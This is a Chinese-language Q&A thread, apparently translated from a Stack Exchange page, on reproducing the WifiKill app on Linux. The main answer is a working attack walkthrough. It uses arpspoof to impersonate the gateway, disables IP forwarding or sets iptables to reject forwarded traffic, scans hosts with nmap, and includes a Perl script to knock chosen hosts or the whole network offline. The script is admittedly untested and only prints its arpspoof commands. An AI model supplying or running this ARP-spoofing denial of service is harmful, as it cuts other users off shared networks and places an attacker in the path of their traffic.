有没有类似于 WifiKill Android 应用程序的程序(最好是 Linux)?
答案1
WifiKill
嗯,Android 是 Linux,因此你可以在 Linux 电脑上复制 ponury 的操作
WifiKill
做两件事:
- 它伪装成网关,因此受害者会将数据包发送到手机,而不是发送到网关
- 它会关闭数据包转发。因此,受害者会将所有数据包发送到您的计算机,然后您的计算机会丢弃这些数据包
要进行伪装,您需要 ARP 欺骗。您可以使用arpspoof
以下命令嗅探:
- 首先,您必须知道网关的 IP。
route -n
在终端中运行并从那里获取网关的 IP。在最常见的情况下(您仅连接到无线网络),网关将是带有 Destination 的条目0.0.0.0
。您可以使用它route -n|grep ^0.0.0.0|cut -d' ' -f 10
来获取默认网关的 IP - 然后,使用
arpspoof
伪装成网关。arpspoof $IP
如果要杀死除您之外的整个网络,请以 root 身份运行;arpspoof -t $VICTIM_IP $IP
如果要仅杀死某些主机,请针对每个受害者运行
现在你伪装成网络网关。受害者发送的所有数据包都会发送到你的计算机。现在你必须关闭数据包转发。为此,请echo -n 0 > /proc/sys/net/ipv?/ip_forward
以 root 身份运行。这将丢弃受害者发送的所有数据包
距离我上次使用已经过去了很长时间WifiKill
,但我记得它有一个选项可以拒绝数据包而不是丢弃它们 [拒绝会导致人们立即出现连接错误,丢弃会导致所有连接超时]。要做到这一点,你必须:
- 使能够
echo -n 1 > /proc/sys/net/ipv?/ip_forward
以 root身份运行数据包转发 netfilter
将的默认 FORWARD 策略设置为 REJECT。运行iptables -P FORWARD REJECT
。当然,您可以使用iptables
任意复杂的防火墙规则
WifiKill
还列出了在线主机。要在 Linux 中执行此操作,您可以使用nmap
ping 给定范围内的主机。例如,如果您想找出范围内哪些主机在线,您192.168.1.1
可以192.168.1.254
运行nmap -sP 192.168.1.1-254
。虽然这不会列出具有“隐形”防火墙的计算机,但如果您杀死网络上的所有人或知道他们的确切 IP,您仍然可以杀死这些计算机
可能有一个程序正在执行我上面列出的操作,但对于常见情况,您可以编写一个脚本:
#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`;
if (@ARGV) {
print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);
将其保存为,kill.pl
然后将其命名为./kill.pl $IP1 $IP2 ... $IPn
杀死$IP1
,,$IP2
...,$IPn
或命名./kill.pl
为杀死所有主机
答案2
Windows 版 Netcut 可以执行类似的任务。